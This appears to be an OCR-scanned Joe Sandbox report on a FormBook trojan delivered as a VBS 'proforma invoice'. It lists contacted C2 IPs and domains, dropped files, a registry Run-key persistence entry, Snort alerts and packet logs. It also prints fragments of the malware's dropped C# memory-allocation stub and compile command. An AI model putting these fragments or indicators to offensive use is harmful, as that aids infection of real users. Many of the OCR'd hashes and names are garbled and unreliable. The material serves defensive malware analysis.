rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

powershell.exe, 00000004.00000002.310110 false e Avira URL Cloud: safe
7640.00000000060C5000.00000004.00000800.

00020000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp, firefox.exe, 00000
01E.00000002.4149121268.000000002F352000
.00000004.80000000.00040000.00000000.sdmp

e Avira URL Cloud: safe

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00

040000.00000000.sdmp

explorer.exe, 00000016.00000000.31746089 false e Avira URL Cloud: safe

85.0000000003440000.00000002.00000001.00
040000.00000000.sdmp, explorer.exe, 0000
0016.00000000.3349273884.000000000AD6000
0.00000002.00000001.00040000.00000000.sdmp,
explorer.exe, 00000016.00000000.3181130108.000
0000003860000.00000002.00000001.00040000
.00000000.sdmp

rundll32.exe, 00000017.00000002.69014869 false
04.0000000005922000.00000004.10000000.00
040000.00000000.sdmp

Reputation

high

high

high

high

high

high

high

unknown

high

unknown

high

unknown

high
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[] No. of IPs < 25%
B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public IPs
1P Domain Country Flag ASN ASN Name Malicious
103.150.61.226 ghanesa.xyz unknown 45325 PC24NET-AS- true
IDPTPC24Telekomunikasil
ndonesialD
101.99.94.169 unknown Malaysia = 45839 SHINJIRU-MY-AS- false
APShinjiruTechnologySdnB
hdMy
66.29.155.228 www.linuxizes.com United States = 19538 ADVANTAGECOMUS true
185.27.134.153 www.blueonb.com United Kingdom ] 34119 WILDCARD- true
ASWildcardUKLimitedGB
145.14.153.89 hikingtaibah.com Netherlands - 204915 AWEXUS true
104.21.51.250 www.147bronzeway.com  United States £S5 13335 CLOUDFLARENETUS true
142.250.185.179 unknown United States £S5 15169 GOOGLEUS false
154.210.161.216 www.muziclips.com Seychelles £ 136800 XIAOZHIYUN1-AS- true
APICIDCNETWORKUS
89.46.108.25 www.ap-render.com Italy 1] 31034 ARUBA-ASNIT true
216.18.208.202 xc8b49c6mnmdts.xyz United States £S5 18450 WEBNXUS true
81.95.96.29 www.worldbrands.wine Czech Republic [ 25234 GLOBE- true
AShttpwwwactive24czCZ
154.23.227.120 WWW.mojawapo.com United States £S5 174 COGENT-174US true
217.160.0.178 www.maximilianvonah.co =~ Germany = 8560 ONEANDONE- true
m ASBrauerstrasse48DE
130.211.17.207 www.ymsb.info United States =] 15169 GOOGLEUS false
154.80.183.133 www.wwwif2dni.com Seychelles £ 134548 DXTL- true
HKDXTLTseungKwanOSer
viceHK
188.114.96.3 www.receiveprim.online European Union 13335 CLOUDFLARENETUS true
217.21.87.131 itsfindia.online United Kingdom & 12491 IPPLANET-ASIL true
154.95.160.71 www.emitacademy.com Seychelles £ 134548 DXTL- true
HKDXTLTseungKwanOSer
viceHK
199.15.163.148 td-balancer-199-15-163-  United States £S5 14238 INNOVATIVE- true
148.wixdns.net NETWORKSUS
142.251.39.115 ghs.googlehosted.com United States £S5 15169 GOOGLEUS false
13.248.216.40 www.coolarts.xyz United States £S5 16509 AMAZON-02US true
104.21.39.116 www.secureartist.com United States =] 13335 CLOUDFLARENETUS true
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General Information

Joe Sandbox Version:

Analysis ID:

Start date and time: 08/08/202217:38:57
Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Run name:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings

HTTP Packets have been reduced
TCP Packets have been reduced to 100

e o o o o

e o o o o o

Simulations

Behavior and APIs

35.0.0 Citrine
680487

2022-08-08 17:38:57 +02:00

CloudBasic
Oh 17m 49s
false

light

Unclear Proforma Invoice.vbs

default.jbs

Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe
Reader DC 21, Java 8 Update 301

Suspected Instruction Hammering

36

o O o

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
default
Timeout

MAL

mal100.troj.spyw.evad.winVBS@46/10@32/22

e Successful, ratio: 100%

.

.

.

.

.

.

.

.

Adjust boot time
Enable AMSI

°

Excluded IPs from analysis (whitelisted): 20.82.207.122
Excluded domains from analysis (whitelisted): client.wns.windows.com, wdcpalt.microsoft.com, fs.microsoft.com, slscr.update.microsoft.com, login.live.com, wd-prod-cp-eu-north-2-fe.
northeurope.cloudapp.azure.com, settings-win.data.microsoft.com, ctldl.windowsupdate.com, wd-prod-cp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com

Not all processes where analyzed, report is missing behavior information

Report creation exceeded maximum time and may have missing d isassembly code information.
Report size exceeded maximum capacity and may have missing b ehavior information.

Report size getting too big, t oo many NtOpenKeyEx calls found.
Report size getting too big, t oo many NtProtectVirtualMemory calls found.
Report size getting too big, t oo many NtQueryValueKey calls found.

Time Type

17:42:03 API Interceptor
17:43:46 Autostart
17:43:54 Autostart

Copyright Joe Security LLC 2022

Successful, ratio: 99.3% (good quality ratio 89.9%)
Quality average: 73.8%
Quality standard deviation: 31.3%

Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Found application associated with file extension: .vbs

Description

38x Sleep call for process: powershell.exe modified

Exclude process from analysis (whitelisted): audiodg.exe, UserOOBEBroker.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run TRF82PDXCN C:\Program Files (x86)\internet e

xplorer\ielowutil.exe

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run TRF82PDXCN C:\Program Files (x86)\internet

explorenielowutil.exe
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Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: modified

Size (bytes): 8003

Entropy (8bit): 4.841989710132343

Encrypted: false

SSDEEP: 192:Qx0e5GVsm5emddVFn3eGOVpN6K3bkkjo5dgkjDt4iWN3yBGHDIsmqdcU6C5pOWik: 7hVoGIpN6KQkj22kjh4iUxgrib4d

MD5: 677C4E3A07935751EA3B092A5E23232F

SHA1L: 0BB391E66C6AE586907E9A8F1EE6CA114ACE02CD

SHA-256: D05D82E08469946C832D1493FA05D9E44926911DB96A89B76C2A32AC1CBCI31F

SHA-512: 253BCC6033980157395016038E22D3A49BOFA40AEE18CC852065423BEF773BFO00EAAEBO809D0BICAE167883288B05SBA168AF0A756D6B74852778EAAA30055C2
Malicious: false

Preview: PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShel\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1l........ Uninstall-Module........ inmo......

C:\Users\user\AppData\Local\Temp\DB1

Process: C:\Windows\SysWOW64\cmd.exe

File Type: SQLite 3.x database, last written using SQLite version 3035005
Category: dropped

Size (bytes): 49152

Entropy (8bit):  0.8182303930711242

Encrypted: false

SSDEEP: 96:+RMKLyeymwxCn8MZyFItK3PIGNxot83n:+RkxGO8PIGNxz

MD5: A93B35941137916187814E3E7C88C93D

SHAL: 3834E7B2A614BD688831CFC47786729F6CAC0121

SHA-256: OD1DCOE9F4C9BE281E17D24AC969EOFF3F8388114420417126A4F502EABC3107

SHA-512: 84A749B77BBED02944C9B25D1B98C638B3DBBY06A2A222FFIFB229C7ACOC8A64D123D1CB47A1E9A88FBIE67BAD0928FE1C952152F30311EFC6C8B9330B9441
B4

Malicious: false
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Preview:

C:\Users\user\AppData\Local\Temp\RESBA75.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols

dropped

1332

3.97503473456474

false
24:HhzW9nu3gHzYwKTFpmfwl+ycuZhNOsIUhakS3sIUGPNngS2d:wu3gTKTzmolulOslla33sIHgSG
666A85681E60B3AC9938223A730434D5

F7937CEF891116C4CF75652ED89F11CCB94A8D93
EADO0178C7FEC57A52286C45A168CE75685995ED1B19D662452ACBD99A2047539
1ECA335886AC26380D8957F79D7B4174A53A38AC6591768B796D9F45B85708B830B7C2ED78B0C305B71C8AB462DB22A55DF3F1323E4D4466E37600FBE79106F

false

L..<b...... debug$s........ P @..B.rsrc$01........ ) TR Lo @..@.rsrc$02........ P>, @..@........ S....c:\Users\user\AppData\Local\Temp\tmhd

51lu\CSCDE243CA280D4B5C9E282790C554DB9.TMP........c.c.... L#.:5n.L.$2........... 5. C:\Users\user\AppData\Local\Temp\RESBA75.tmp.-.<.. .a..Microso

ft (R) CVTRES.].=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft. NET\Framework\v4.0.30319\CVIreS.eXe. ........ccccviririiiiriciiiiiieeee e 0. H...... L.
woHoL4.V.S._V.ERS.LO.N_.LN.F.O.... e 2 D VaarFilleln fol L $. Tirans.Lati.o.n.... ..String.Filelnfo.....

F.ileV.ers.i.o.n...0..0..0..0..<....nternalNam.e..tmh.d5.1lu.d.Ll

0.0.0.0.0.4.b.0...,.....F.il.e.D.e.s.c.rip.tio.n.... ... ...L.e.g.al.Copy.right.. ..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p4elcppe.vic.psl

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

ASCI!I text, with no line terminators

dropped

60

4.038920595031593

false

3:Si2NPqzAYMLAKVpKGOyYZKtFS:SngbKAKWGX
D17FEOA3F47BE24A6453E9EF58C94641
6AB83620379FC69F80C0242105DDFFD7D98D5D9D
96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5B592E58F26C264604F98F6AA12860758 CE606D1C63220736CFOC779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
false

# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ro4sxpqd.lc5.psm1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

ASCII text, with no line terminators

dropped

60

4.038920595031593

false

3:Si2NPgqzAYMLAKVpKGOyzKtFS:SngbKAKWGX
D17FEOA3F47BE24A6453E9EF58C94641
6AB83620379FC69F80C0242105DDFFD7D98D5D9D
96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5B592E58F26C264604F98F6AA12860758CE606D1C63220736CFOC779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
false

# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmhd51lu\CSCDE243CA280D4B5C9E282790C554DB9.TMP

Process:
File Type:
Category:
Size (bytes):

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe
MSVC .res

dropped

652
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Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

3.104702651641772

false
12:DXt4li3ntuAHia5YA49aUGigMZAIiN5gryCslUhak7Ynqqg3slUGPN5DIg5J:+RI+ycuZhNOsIUhakS3slUGPNngX
AB4C2E237F993A356EF6217F8F243201

ODA1630BDE14D0485511747AF96B4EC2123F26BD
0B7FE34487CC34A6BA982258654AAB5581A39279A3D32955257DBABE1B78AC12

9D7EE4656FBD187D43CBC04E2B0B73B86142AECA5C66F4101FF2B3BF7E7EEE32B2C4D5AC34B16BB6A9147F343FOEBO9D36CA92846EED0807C49A3C2E0CC341
03A

false

0 L4 V.S._V.E.R.S.ILON._.LN.F.O..... D...V.arF.ilelnfo...$..Trans.lation..
.0.0.0.0.0.4.b.0. .F.ii.l.e.D.e.s.crip.tio.n.. .F.i.l.e.V.ers.i.on....0..0..0..0..<...LnternalNam.e..tmhd5.1.lu..d.ll
...D....0riginalF.ilename..tmhdb5.1lu.dll..4...Produ.ctV.ers.io.n.0..0..0..0..8..Assembly. Vers.ion..0..

S.trin.g.F.ile.lnfo.
.Leg.al.C.o.p.y.rig.h.
0...0...0...

C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.0.cs

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

618

5.034501985170115

false
6:V/DsDrSvS/V4SRHJIGHYKYy4YZ4SRBHAC0QfYKYy4Ym2LGLohiIDSRbRumJIwWVYbb:V/DGrENHaLZtUgf6gSN7JIwb5Fa
5D11B747370938A6D5F8FAB59464F433

8AA9E3B0291692E502680CB3BB4F4D8DE7A526C5
011A2549ACEB2D12BEE5D95DF0OBE9D362867480B5ECD3FC1E005A29A1B8D95C8
416CC345236EC8101E56A4EE252D55FDF2570DD3E82FAE815680406E1480414211FEALIEDAG9E818D341B4013D796B08A2E0A72A579FADF453063D831AD951BC
false

.using System;..using System.Runtime.InteropServices;..public static class Skyd1..{..[Dllimport("kernel32.dllI")]public static extern IntPtr EnumTimeFormatsA(uint Derivati
vt5,int Derivativt6, int Derivativt7);....[Dlllmport("kernel32.dIl")]public static extern IntPtr CreatePipe(uint Derivativt5,int Derivativt6, int Derivativt7);....[Dlllmport(“ntdil.dll*,
EntryPoint="ZwAllocateVirtualMemory")]public static extern int Fida(int Skyd6,ref Int32 Indgh,int Derivativt,ref Int32 Skyd,int Rgende142,int Skyd7);....[Dllimport("kernel32
.dII")]public static extern IntPtr GetFileTime(uint Derivativt5,int Derivativt6);....}

C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.cmdline

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWwOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators

dropped

371

5.224759987384812

false
6:pAu+H2LvkugIDdgxLTKbDdgB/6K2CN23ftOpzxs7+AEszICN23ft0Un:p37Lvkmb6KmcWZE75n
F898635E850B4FE97421414CE9AAGGIE
93195A8F72CDAE2060AB66B4784A91AE796FAB72
41B88E606BDCE22FACFE3D358C162048E393807B9631AE918E1893F6BFBFO3EG

6EC30AE827C00B10DAICCCB06C997DCICI3SFEA7C5D18D3A3A368BCC9245D57C03BCC2DBAE48743EC8903FDAS576524BC9281D7F4831193357EAA1195650792
F5

false

Jtlibrary /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\Sys
tem.Management.Automation.dll" /R:"System.Core.dII" /out:"C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.dil" /debug- /optimize+ /warnaserror /optimize+ "C
\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.0.cs"

C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.dll

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe

PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
dropped

3584

2.7811919056506826

false

48:6Cb4kW06cdAKO1Fg3x1ulOslla33siHg:zHW2AMQgyEIK3E
9D54F02692716761E4B079E6C87033C8
E1D6EE824401F1E186820612B198FF12D9449045
A1D7AF7F56EF42D4EB548A274DC4CF153B1A2FC352C5A11F6303BB31D6272101
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SHA-512:

Malicious:

Preview:

B5E296EB216A0385112ACFOEGACD83C7535ECDFA8B7EC7747049961C0908E8665D0CEEA71CEG572C7E9F1E2123291579938052973F256F3CAABD42CD4CD355!
C

false

C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.out

Process:
File Type:
Category:

Size (bytes):

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
modified

870

Entropy (8bit):  5.306264958836252

Encrypted: false

SSDEEP: 24:KSqd3ka6KmNE78Kax5DgBVKVrdFAMBJITH:dika6PNE78K2DcVKdBJj

MD5: 62DAFA4E3D522FB7E7A88525C6221814

SHAL: 1C74ED6CA4B7F079B638226A31C9CD84EAAF3EDD

SHA-256: DD322B1B9257EE6489387D63805D173644B792D2C737C2183CC08FBOB6BECD4B

SHA-512: 304480353130CBDE53B010D3156A207DD208B2914FA560C79B9D81DEC79557CF89D7A7CE87A84175562021CF267A481DA1A1EBF3D3F414D48E522198C9287C2¢

Malicious: false

Preview: .C:\Users\user\Desktop> "C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC
_MSIL\System.Management.Automation\v4.0_3.0.0.0__ 31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\L
ocal\Temp\tmhd51lu\tmhd51lu.dil* /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.0.cs"......Microsoft (R) Visual C#
Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved....... This compiler is provided as part of the Microsoft (R) .NET Framework,
but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see
http://go.microsoft.com/fwlink/?LinkID=533240....

Static File Info

General

File type: ASCII text, with CRLF line terminators

Entropy (8bit): 5.691634819052103

TriD: e Visual Basic Script (13500/0) 100.00%

File name: Unclear Proforma Invoice.vbs

File size: 223135

MD5: 2ccae65c60d12ce9d0d097db0d58cefa

SHAL: 4114f1b5a7c5ded759ca00fcbb10acfb4c72085f

SHA256: d85deda96531cdadal6f3d37eelad279289c60509f37b28e0d0dacObd7e4dcded

SHA512: b506d03f3d224f115dda7ab6bba4f10a3339¢89df8c9b9f22f4df4ad5f77605db05058328b7fe3ac3c71dd8966c9e98ba5c3fcadd149470c5c92ee94c07e924a

SSDEEP: 3072:BpLWvcTxLVb6ThVIcmPrYxynv+gg4mtcDIdXqTzjOyrgndFzwZ7B:jLKcSI/bU2ghmLilWiwZ9

TLSH: 4C2471615FB631FD2C1DF10B6F444C3FEAAE34CE149AB464A8E7064FAE0566A52EAD30

File Content Function AGRONOMICAL (inclinableenslumbe)..If inclinableenslumbe = RTrim("Calciums182") Then ....Randomize....End If..End Function ..Sub

Preview: Dekompositionernes47(Isolomagalleymandrilbor35)....Dim Unctoriumdelggel114..Unctoriumdelggel114 = Unctoriumdelggel114 &

Filelcon

Icon Hash: e8d69ece869a9ec4

Network Behavior

Snort IDS Alerts
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Timestamp Protocol

192.168.11.20188.114.96. TCP
349786802031453

08/08/22-

17:45:46.536997

192.168.11.20154.80.183. TCP
13349802802031453

08/08/22-

17:46:39.844942

192.168.11.20217.21.87.1 TCP
3149787802031449

08/08/22-

17:45:58.222329

192.168.11.20217.160.0.1 TCP
7849754802031449

08/08/22-

17:44:17.775827

192.168.11.20188.114.96. TCP
349786802031412

08/08/22-

17:45:46.536997

192.168.11.20217.21.87.1 TCP
3149787802031453

08/08/22-

17:45:58.222329

192.168.11.20154.80.183. TCP
13349802802031449

08/08/22-

17:46:39.844942

192.168.11.20217.160.0.1 TCP
7849754802031453

08/08/22-

17:44:17.775827

192.168.11.20217.21.87.1 TCP
3149787802031412

08/08/22-

17:45:58.222329

192.168.11.20154.80.183. TCP
13349802802031412

08/08/22-

17:46:39.844942

192.168.11.20217.160.0.1 TCP
7849754802031412

08/08/22-

17:44:17.775827

192.168.11.20188.114.96. TCP
349786802031449

08/08/22-

17:45:46.536997

Network Port Distribution

TCP Packets

Timestamp

SID
203145

3

203145
3

203144
9

203144
9

203141
2

203145
3

203144
9

203145
3

203141
2

203141
2

203141
2

203144
9

Aug 8, 2022 17:42:40.154238939 CEST

Copyright Joe Security LLC 2022

Message

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

Total Packets: 76

® 53 (DNS)

® 80 (HTTP)
Source Port Dest Port Source IP
49750 80 192.168.11.20

Source
Port

49786

49802

49787

49754

49786

49787

49802

49754

49787

49802

49754

49786

Dest Source IP

Port

80 192.168.11.2
0

80 192.168.11.2
0

80 192.168.11.2
0

80 192.168.11.2
0

80 192.168.11.2
0

80 192.168.11.2
0

80 192.168.11.2
0

80 192.168.11.2
0

80 192.168.11.2
0

80 192.168.11.2
0

80 192.168.11.2
0

80 192.168.11.2
0

Dest IP

101.99.94.169

Dest IP

188.114.96.3

154.80.183.1
33

217.21.87.13
1

217.160.0.17
8

188.114.96.3

217.21.87.13
1

154.80.183.1
33

217.160.0.17
8

217.21.87.13
1

154.80.183.1
33

217.160.0.17
8

188.114.96.3
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Timestamp Source Port Dest Port Source IP Dest IP

Aug 8, 2022 17:42:40.185498953 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.185774088 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.217540979 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.217978001 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.304166079 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.339495897 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.339559078 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.339606047 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.339652061 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.339788914 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.339839935 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.339852095 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.371812105 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.371889114 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.371948004 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.372000933 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.372054100 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.372064114 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.372107029 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.372122049 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.372134924 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.372143984 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.372160912 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.372215033 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.372318983 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.372364998 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.372386932 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.403767109 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.403826952 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.403907061 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.403956890 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.404027939 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.404078960 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.404103041 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.404149055 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.404160023 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.404170990 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.404220104 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.404273987 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.404289961 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.404313087 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.404345036 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.404414892 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.404433012 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.404469967 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.404470921 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.404516935 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.404522896 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.404563904 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.404608011 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.404655933 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.404674053 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.404711962 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.404839039 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.404875994 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.436423063 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.436527967 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.436587095 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.436640978 CEST 80 49750 101.99.94.169 192.168.11.20

Copyright Joe Security LLC 2022 Page 28 of 90



Timestamp Source Port Dest Port Source IP Dest IP

Aug 8, 2022 17:42:40.436693907 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.436738968 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.436745882 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.436798096 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.436810970 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.436819077 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.436876059 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.436925888 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.436960936 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.436971903 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.437066078 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.437089920 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.437145948 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.437184095 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.437237978 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.437289000 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.437287092 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.437334061 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.437340975 CEST 80 49750 101.99.94.169 192.168.11.20
